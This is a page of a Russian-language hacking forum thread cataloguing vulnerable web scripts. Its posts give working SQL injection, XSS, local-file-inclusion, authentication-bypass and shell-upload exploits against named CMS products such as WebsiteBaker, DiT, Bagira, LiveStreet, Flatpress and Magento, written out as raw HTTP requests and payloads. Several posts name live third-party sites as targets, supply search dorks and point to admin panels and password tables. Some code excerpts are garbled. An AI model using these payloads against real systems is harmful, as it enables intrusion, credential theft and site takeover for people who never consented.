PDA

Просмотр полной версии : Энциклопедия уязвимых скриптов


Страницы : 1 2 [3]

VY_CMa
08.06.2013, 19:19
[SIZE="2"][COLOR="DarkOrange"]PHD Help Desk

BigBear
10.06.2013, 09:47
[QUOTE="VY_CMa"]
[SIZE="2"][COLOR="DarkOrange"]PHD Help Desk =5.1 , а потому на ранних версиях, скорее всего, нужно искать вектор Error-Baesd через rand(0).

Konqi
16.12.2013, 21:24
WebsiteBaker CMS

Уязвимый модуль : FAQ Maker

SQL Injection

требования: mq = Off

/modules/faqmaker/view.php


....

if (isset($_GET['qa_id'])) {

$qa=explode(".",$_GET['qa_id']);

$t_id=$qa[0];

$q_id=$qa[1];



$query_quests=$database->query("SELECT * FROM `".TABLE_PREFIX."mod_faqmaker_questions` WHERE question_id='$q_id '");

$quests=$query_quests->fetchRow();

$answer=$quests['answer'];

$modified_when=$quests['modified_when'];

$wb->preprocess($answer);

....



PoC: /page.php?qa_id=1.2'+and+0+union+select+1,2,3,4,5,6 ,7,8--+

YaBtr
25.03.2014, 13:07
Condominium Management SystemeCondo

Сингапурская контора.

Официальный сайт http://www.econdo.com.sg/

SQL Injection

Уязвимый сценарий: /dev/label.php

Уязвимый параметр:id

Вектор: error-based

Exploit:[site/dev/label.php?id=1 or(SELECT 1 from information_schema.tables group by concat((SELECT{YOUR REQUEST}),floor(rand(0)*2))having max(0)) --]

Примеры:


http://www.compassheights.com.sg/dev/label.php?id=15
http://rosewoodsuites.com.sg/dev/label.php?id=2
http://www.dakotaresidences.net/dev/label.php?id=14


Панель администратора: site/dev/login.php

MD5-хэши паролей и имена пользователей наxодятся в таблице dev_user, имена колонок соответственноdev_pword и dev_user_name.

Исходники не нашел.

YaBtr
01.04.2014, 11:19
Уязвимый сценарий statpage.php от ukrlab.com


Официальный сайт http://www.ukrlab.com

SQL Injection

Уязвимый параметр: stid

Dork: inurl:statpage.php?stid=

Вектор: union-query

Требования: mq = off

Уязвимый код (запрос вытаскивал из PROCESSLIST, код может отличаться, но смысл один):


...

$id=$_GET['stid'];

...

$query="SELECT * FROM ua_k_stat_page WHERE id= '".$id."' ";

...

Exploit: [site/statpage.php?stid=99999.9/*!UNION SELECT 1,version(),3,4,5*/ -- ]

YaBtr
10.04.2014, 10:48
CMS WebsiteBaker



Version 2.8.3 - последняя версия!

Официальный сайт http://www.websitebaker.org

passive XSS (reflected)

Требования: права администратора

Уязвимый сценарий:admin/admintools/tool.php


$doSave= (isset($_POST['save_settings']) || (isset($_POST['action']) &&strtolower($_POST['action']) =='save'));

// test for valid tool name

if(preg_match('/^[a-z][a-z_\-0-9]{2,}$/i',$toolDir)) {

// Check if tool is installed

$sql='SELECT `name` FROM `'.TABLE_PREFIX.'addon s` '.

'WHERE `type`=\'module\' AND `function`=\'tool\ ' '.

'AND `directory`=\''.$toolDir.'\'';

if(($toolName=$database->get_one($sql))) {

// create admin-object and print header if FTAN is NOT sup ported AND function 'save' is requested

$admin_header= !(is_file(WB_PATH.'/modules/'.$toolDir.'/FTAN_SUPPORTED') &&$doSave);

$admin= newadmin('admintools','admintools',$admin _header);

if(!$doSave) {

// show title if not function 'save' is requ ested

print''.

$HEADING['ADMINISTRATION_TOOLS'].''.

' » '.$toolName.''."\n";

}

// include modules tool.php

require(WB_PATH.'/modules/'.$toolDir.'/tool.php');

$admin->print_footer();

}else {

// no installed module found, jump to index.p hp of admintools

header('location: '.ADMIN_URL.'/admintools/index.php');

exit(0);

}

}else {

// invalid module name requested, jump to ind ex.php of admintools

header('location: '.ADMIN_URL.'/admintools/index.php');

exit(0);

}

Exploit:


POST /wsb/admin/admintools/tool.php/
">alert(1)
?tool=SecureFormSwitcher HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/wsb/admin/admintools/tool.php?tool=SecureFormSwitcher
Cookie: vc=12; wb_session_id=par1; wb_5773_session_id=par2; PHPSESSID=par3
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 111
par=par_par&singletab=true&ftan_switch=&save_settings=Accept&fingerprint_with_ip_octets=2

YaBtr
11.04.2014, 17:04
CMS MaxSite


Version 0.862 - последняя версия!


Официальный сайт http://www.max-3000.com

passive XSS (reflected) в заголовке Referer

Уязвимости на странице с формой регистрации и странице авторизации.

Вектор проведения атаки идентичен, поэтому рассмотрю только страницу авторизации.

127.0.0.1/MaxSite/application/maxsite/templates/default/components/_login/_login.php


config['site_url'] . 'login"name="flogin">

config['site_url'] . mso_current_url() . '"name="flogin_redirect">

data['session']['session_id'] . '"name="flogin_session_id">

Exploit:


GET /loginform/ HTTP/1.1
Host: max-3000.com
User-Agent: Mozilla
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer
:
http://www.google.com/search?hl=en&q=">alert(1)
Cookie: ci_session=
Connection: close

YaBtr
29.04.2014, 09:48
DiT CMS

Версия 2.1.2 (последняя!)

Официальный сайт http://dit-cms.ru

SQL Injection

Уязвимый сценарий: search.php

Уязвимый параметр: dit_search_string_content

Вектор: error-based

Уязвимый код:


if ($_POST["dit_search_string_content"] !=NULL)

{

$search=$_POST["dit_search_string_content"];



$query="SELECT * FROM ".db_prefix."_part WHERE header_".lang_system." LIKE '%{$search}%' OR desc_".lang_system." LIKE '%{$search}%' ";

$data=mysql_query($query) or die (mysql_error() );

$result= array();

Exploit:


POST / HTTP/1.1
Host: dit-cms.ru
...
dit_search_string_content=
'and(extractvalue(1,concat(0x3a,version())))and'
&dit_button_search.x=0&dit_button_search.y=0




passive XSS (reflected) в том же параметре

Exploit:


POST / HTTP/1.1
Host: dit-cms.ru
...
dit_search_string_content=
alert('Antichat')
&dit_button_search.x=0&dit_button_search.y=0

YaBtr
12.05.2014, 16:17
ECShop V2.7.3

Официальный сайт http://ecshop.com (разработана в Поднебесной)

Исследовал на демо-версии.

passive XSS (reflected) в Referer

Отправляем пакет:


GET /user.php HTTP/1.1
Host: ecshop-273-1106.chinascript.ru
User-Agent: Mozilla
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
">alert('Antichat')
Connection: keep-alive

YaBtr
16.05.2014, 16:44
CMS Bagira

Версия 1.1.7b (последняя)

Официальный сайт http://bagira-cms.ru/



SQL Injection

Уязвимый сценарий: ormPage.php

Уязвимый параметр: pseudo_url

Зависимости: mq=off

Вектор: error-based

Уязвимый код:


if ($pseudo_url!==false) {

$parent_id=$this->getParentId();

$s= (empty($this->id)) ?'':'p_obj_id <> "'.$this->id.'" and ';

$s.= (empty($parent_id)) ?'r_parent_id is NULL ':'r_parent_id = "'.$parent_id.'"';

$sql='SELECT count(p_obj_id) FROM >, >, >

WHERE pseudo_url = "'.$pseudo_url.'" and

lang_id = "'.languages::curId().'" and

domain_id = "'.domains::curId().'" and

r_children_id = p_obj_id and '.$s.' and

o_id = p_obj_id and

o_to_trash = 0;';

$count=db::q($sql,value);

Exploit:


GET /BagiraCMS/article
"*(UPDATEXML(1,concat(0x3a,(SELECT version())),4))*"
HTTP/1.1
Host: 127.0.0.1
...


passive XSS(reflected) в строке поиска:

Exploit:


POST /BagiraCMS/search HTTP/1.1
Host: 127.0.0.1
...
words=
">alert(1)

YaBtr
23.05.2014, 12:32
CMS ModX Revolution 2.2.14-pl

ничего критичного,passive XSS (reflected) на modx.ru

PoC:


modx.ru/katalog-sajtov-na-modx/top/?site_version=1&get=top&root=5
";alert('Antichat')//
&site_year=2014&site_sphere=99&filter=

YaBtr
30.05.2014, 17:10
CMS WysGui 2.3

Официальный сайт http://wysgui.com

SQL Injection

Уязвимый сценарий: pageData.php

Зависимости: mq=off

Вектор: error-based

Уязвимый код:


...

$this->connect();

$select='SELECT * FROM pagedata WHERE pageURL = "'.$this->url.'" LIMIT 1';

$query=mysql_query($select) or die(mysql_error() );

...

Exploit:


GET /WysGui/index.php/
"*(SELECT 1 from information_schema.tables group by concat((SELECT version()),floor(rand(0)*2)) having min(0))*"
HTTP/1.1
Host: 127.0.0.1
...

YaBtr
09.06.2014, 18:39
cms CMSSS 1.8 (с названием не заморачивались )

Официальный сайт http://cmsss.all4all.cz

Демо-версия http://cms.all4all.cz

SQL Injection

Уязвимый сценарий: modules/pol/index.php

Зависимости: mq=off

Вектор: union-query

Уязвимый код:


...

$result=$db->query("SELECT * FROM cmsss_poll_polls");

while($row=$db->fetch_array($result)) {

$row_votes=$db->fetch_row("SELECT * FROM cmsss_poll_votes WHERE poll_id = '".$row['id'] ."'");

for($x=0;$xalert(1), который с радостью записывается в БД:

[PHP]
$topic=$_POST['topic'];

$detail=$_POST['detail'];

$name=$_POST['name'];

$email=$_POST['email'];

$kontrola=$_POST['kontrola'];

$datetime=date("d.m.y H:i:s");//create date time

if($kontrola!="ano") {

$sql="INSERT INTO$tbl_name(topic, detail, name, emai l, datetime)VALUES('$topic', '$detail', '$name' , '$email', '$datetime')";

$result=mysql_query($sql);

Соответственно, пользователь, решившый посмотреть топик, получит себе, как минимум alert.

Вы правильно заметили, что тут еще можно провести sql injection, но 2-х инъекций, описанных выше, пока достаточно.

reflected XSS

В данном движке огромное количество reflected XSS(пассивок), искать долго не нужно, например тот же параметр id из 2-ой описанной sql-инъекции.


">

PoC:


http://site.com/modules/forum/view_topic.php?id=
">alert(1)



Ну и Shell Upload

Зависимости: права администратора

1.Administration module==> Downloads==> File Create ==> Профит

Создаем файл с shell.php, вписываем мини-шелл, обращаемся, соответственно: site.com/modules/download/soubor/shell.php?=phpinfo();

2. Напрямую грузим файл через форму Upload.

Мега-функция проверяет наше расширение:


functionis_script($filename) {

returnereg('\.php$|\.php3$|\.php4$|\.php5$ ',$filename);

Обход стандартный: грузим .htaccess с нужным AddType или AddHandler, ну, а потом наш файл, например shell.phtml

Br@!ns
18.11.2014, 23:17
Заливка шелла в magento:

1. через site.com/downloader устанавливаем модуль File System ( http://www.magentocommerce.com/magento-connect/file-system.html )

2. заливаем шелл изменяя ненужный файл

faza02
23.03.2015, 17:45
CMS: Whale CMS 1.0

Сайт: https://www.whale-cms.de

Админ панель: /backend/

Логин/пароль администратора: SELECT name, passwort from [PREFIX]_users;

SQL Injection и Reflected XSS:

Зависимости: MQ = OFF

/sys/template/include/suchen.php


...

$newssuche=$_POST['newssuche'];

echo"Du hast nach dem Beitragtitel: \"$newssuche\" gesucht. Dadurch wurden folgende Einträge gefunden:

";

$newssuche_abfrage=mysql_query("SELECT * FROM ".$prefix."news WHERE titel LIKE '%".$newssuche%."%' ORDER BY id DESC LIMIT 5");

$newssuche_ergebnis=mysql_query($newssuche_abfrage ) or die(mysql_error());

...

Эксплоит:


POST /?page=Home&action=suchen HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 85
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: localhost
User-Agent: '
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/?page=Home
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: PHPSESSID=nk29sp2qp46mudr0594bksmb14

newssuche=' union select 1,2,3,4,version(),6,7,8,9,10,11--

Stored XSS и Error-Based SQL Injection:

/sys/template/include/newscontent.php


if($_GET['action'] =="neueskommentarposten")

{

$newskommitext=$_POST['kommentartext'];

$newskommiautor=$_POST['kommentarautor'];

...

$qu8=mysql_query("INSERT INTO ".$prefix."newskommentar (text, autor, datum, newsID) VA LUES ('".$newskommitext."','".$newskommiautor."', '".$newskommidatum."', '".$newskomminewsID."')");

if($qu8==true)

{

...

}

else

{

echomysql_error( );

}

Эксплоит:


POST /?page=News&id=35&action=neueskommentarposten HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 65
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: localhost
User-Agent: '
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/?page=News&id=35
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: PHPSESSID=nk29sp2qp46mudr0594bksmb14

kommentarautor=">alert(/XSS/)&kommentartext=test

grimnir
08.12.2017, 18:51

Baskin-Robbins
03.04.2021, 22:48
LiveStreet 2.1.0

Сайт - livestreetcms.com

#1 Bypass Auth(Type Jugling)

Рандомный обход проверки подлинности пароля, используя особенности гибкого сравнения в PHP.

Залогиниться возможно от юзера, чей пасс в md5 соответсвует 0e[0-9]{30}.

Логинимся с пассом 240610708 - треш бага.


application/classes/actions/ActionAuth.class.php:116
----------------------------------------------------
/**
* Сверяем хеши паролей и проверяем активен ли юзер
*/
if ($this->User_VerifyAccessAuth($oUser) and $oUser->verifyPassword(getRequest('password'))) {
----------------------------------------------------

application/classes/modules/user/entity/User.entity.class.php:655
----------------------------------------------------
public function verifyPassword($sPassword)
{
return $this->User_VerifyPassword($sPassword, $this->getPassword());
}
----------------------------------------------------

application/classes/modules/user/User.class.php:1955
----------------------------------------------------
public function VerifyPassword($sPassword, $sHash)
{
return $this->MakeHashPassword($sPassword) == $sHash; // уязвимая точка
}
----------------------------------------------------


#2 Stored XSS

В поле имя в настройках профиля, ограничение поля - 30 символов.


application/classes/actions/ActionSettings.class.php
-----------------------
...
if (func_check(getRequestStr('profile_name'), 'text', 2, Config::Get('module.user.name_max'))) {
$this->oUserCurrent->setProfileName(getRequestStr('profile_name'));
} else {
$this->oUserCurrent->setProfileName(null);
}
...
-----------------------


#3 Reflected XSS(в админ плагине)

Необходим установленный плагин админки.


livestreet2/admin/users/list/?filter[id]=">alert()
/livestreet2/admin/users/admins/?filter[id]=">alert()
livestreet2/admin/users/list/?filter[password]=">alert()

и так далее



application/plugins/admin/classes/actions/admin/EventUsers.class.php
-----------------------
protected function GetUsersListByRules($sFullPagePathToEvent, $aAdditionalUsersFilter = array())
...
$aValidatedSearchRules = $this->GetSearchRule($this->GetDataFromFilter());
...
-----------------------

application/plugins/admin/classes/actions/admin/ActionAdmin.class.php
-----------------------
protected function GetDataFromFilter($sName = null)
{
/*
* получить фильтр, хранящий в себе все параметры (разрезы показа, сортировку, поиск и др.)
*/
if ($aFilter = getRequest('filter') and is_array($aFilter)) {
/*
* если нужны все значения фильтра
*/
if (!$sName) {
return $aFilter;
}
/*
* если нужно выбрать одно значение из фильтра
*/
if ($sName and isset($aFilter[$sName]) and $aFilter[$sName]) {
return $aFilter[$sName];
}
}
return null;
}
-----------------------


#3,1 Cookie HttpOnly Bypass(с помощью админ плагина)

Необходим установленный плагин админки. В сорцах выводится PHPSESSID,

этого достаточно для Session Hijacking.


application/plugins/admin/frontend/skin/default/layouts/layout.base.tpl
-----------------------
...

var PATH_ROOT = '{Router::GetPath('/')}',
PATH_SKIN = '{Config::Get("path.skin.web")}',
PATH_FRAMEWORK_FRONTEND = '{Config::Get("path.framework.frontend.web")}',
PATH_FRAMEWORK_LIBS_VENDOR = '{Config::Get("path.framework.libs_vendor.web")}',
/**
* Для совместимости с прошлыми версиями. БУДУТ УДАЛЕНЫ
*/
DIR_WEB_ROOT = '{Config::Get("path.root.web")}',
DIR_STATIC_SKIN = '{Config::Get("path.skin.web")}',
DIR_STATIC_FRAMEWORK = '{Config::Get("path.framework.frontend.web")}',
DIR_ENGINE_LIBS = '{Config::Get("path.framework.web")}/libs',

LIVESTREET_SECURITY_KEY = '{$LIVESTREET_SECURITY_KEY}',
SESSION_ID = '{$_sPhpSessionId}',
SESSION_NAME = '{$_sPhpSessionName}',
LANGUAGE = '{Config::Get('lang.current')}',
WYSIWYG = {if Config::Get('view.wysiwyg')}true{else}false{/if};

var aRouter = [];
{foreach $aRouter as $sPage => $sPath}
aRouter['{$sPage}'] = '{$sPath}';
{/foreach}

...
-----------------------


#3,2 Full Path Disclosure


livestreet2/admin/utils/cron/


Внимание! Для работы планировшика нужно на вашем сервере добавить скрипт /var/www/html/livestreet2/application/utilities/cron/main.php в cron с запуском 1 раз в 5 минут. Cron необходимо добавить от имени пользователя, под которым работает ваш веб-сервер. Это позволит избежать проблем с правами. За подробностями работы с cron обратитесь к вашему системному администратору или хостеру.

WallHack
16.04.2021, 19:09
Уязвимая библиотека xBBCode (https://github.com/xBBCoder/xBBCode) (xBB)

Local File include - проверено в 0.28-0.29


$lang = isset($_GET['lang']) ? $_GET['lang'] : 'default';
if (! is_file('./i18n/'.$lang.'/lang.php')) {
$lang = 'default';
}
require_once './i18n/default/lang.php';
if ('default' != $lang) {
include_once './i18n/'.$lang.'/lang.php';
}

Пример эксплуатации: frs24.ru/blocks/bbcode/xbb.php?state=plain&lang=../index.php%00

hackzone.ru/scripts/bbcode/index.php

Baskin-Robbins
23.04.2021, 10:39
Flatpress 1.2

Сайт - flatpress.org

Показалось забавным - пусть здесь побудет.

Аплоад в админке. Есть какие-то проверки, блек лист, но мы все равно можем загрузить php.

Суть в том, что проверка расширения происходит у tmp файла php[\da-zA-Z]{6}

если быть точнее, до нее не доходит, так как расширения нет.

Ну и плюс проверка mime-типа такой констркуцией


$finfo=finfo_open(FILEINFO_MIME_TYPE);
$mime=finfo_file($finfo,__FILE__);
finfo_close($finfo);


возвращает text/x-php для


$error) {

if ($error == UPLOAD_ERR_ OK) {
$tmp_name = $_FILE S ["upload"] ["tmp_name"] [$key]; // #1 =====================================
$name = $_FILES ["upload"] ["name"] [$key];

$dir = ATTACHS_DIR ;

$uploadfilename = strtolower($tmp_name); // #2 =====================================

$isForbidden = fal se;
$deeptest = array( );
$extcount = 0;
$deeptest = explod e('.', $uploadfilename); // #3 =====================================
$extcount = count( $deeptest);

if ($extcount == 1) { // #4 проверка пройдена ======== =============================
$isForbidden = false;
} elseif ($extcoun t == 2) {
$check_ext1 = "";
$check_ext1 = trim($deeptest [1], "\x00..\x1F");
if (in_arra y($check_ext1, $blacklist_extensions)) {
$isF orbidden = true;
} else {
$isF orbidden = false;
}
} elseif ($extcoun t > 2) {
$check_ext1 = "";
$check_ext2 = "";
$check_ext1 = trim($deeptest [$extcount - 1], "\x00..\x1F");
if (in_arra y($check_ext1, $blacklist_extensions)) {
$isF orbidden = true;
} else {
$isF orbidden = false;
}
if (!$isFor bidden) {
$che ck_ext2 = trim($deeptest [$extcount - 2], "\x00..\x1F");
if (in_array($check_ext2, $blacklist_extensions)) {
$isForbidden = true;
} e lse {
$isForbidden = false;
}
}
}
if ($isForbidden) {
$this->smarty->assign('success', $success ? 1 : -1);
sess_add('ad min_uploader_files', $uploaded_files);
return -1;
}

if (version_compare (PHP_VERSION, '5.3.0') ======================= ==============
$this->smarty->assign('success', $success ? 1 : -1);
sess_add('ad min_uploader_files', $uploaded_files);
return -1;
}

$ext = strtolower( strrchr($name, '.'));

if (in_array($ext, $imgs)) {
$dir = IMA GES_DIR;
}

$name = sanitize_t itle(substr($name, 0, -strlen($ext))) . $ext;

$target = "$dir/$name";
@umask(022);
$success = move_up loaded_file($tmp_name, $target);
@chmod($target, 076 6);

$uploaded_files [] = $name;

$success &= $success;
}
}

if ($uploaded_files) {
$this->smarty->assign('success', $success ? 1 : -1);
sess_add('admin_uploader_fil es', $uploaded_files);
}

return 1;
}

crlf
23.09.2021, 11:44
Nibbleblog alert("hek");
[/CODE]

[B]./admin/boot/rules/5-url.bit:


...
if( isset($_GET['controller']) ){$url['controller'] =Validation::sanitize_html($_GET['controller']); }
if( isset($_GET['action']) ) {$url['action'] =Validation::sanitize_html($_GET['action']); }
...


./admin/boot/rules/98-blog.bit:


...
$layout['controller'] =$url['controller'].'/'.$url['action'].'.bit';
...


./index.php:


...
if(file_exists(THEME_CONTROLLERS.$layout['controller']))
require(THEME_CONTROLLERS.$layout['controller']);
...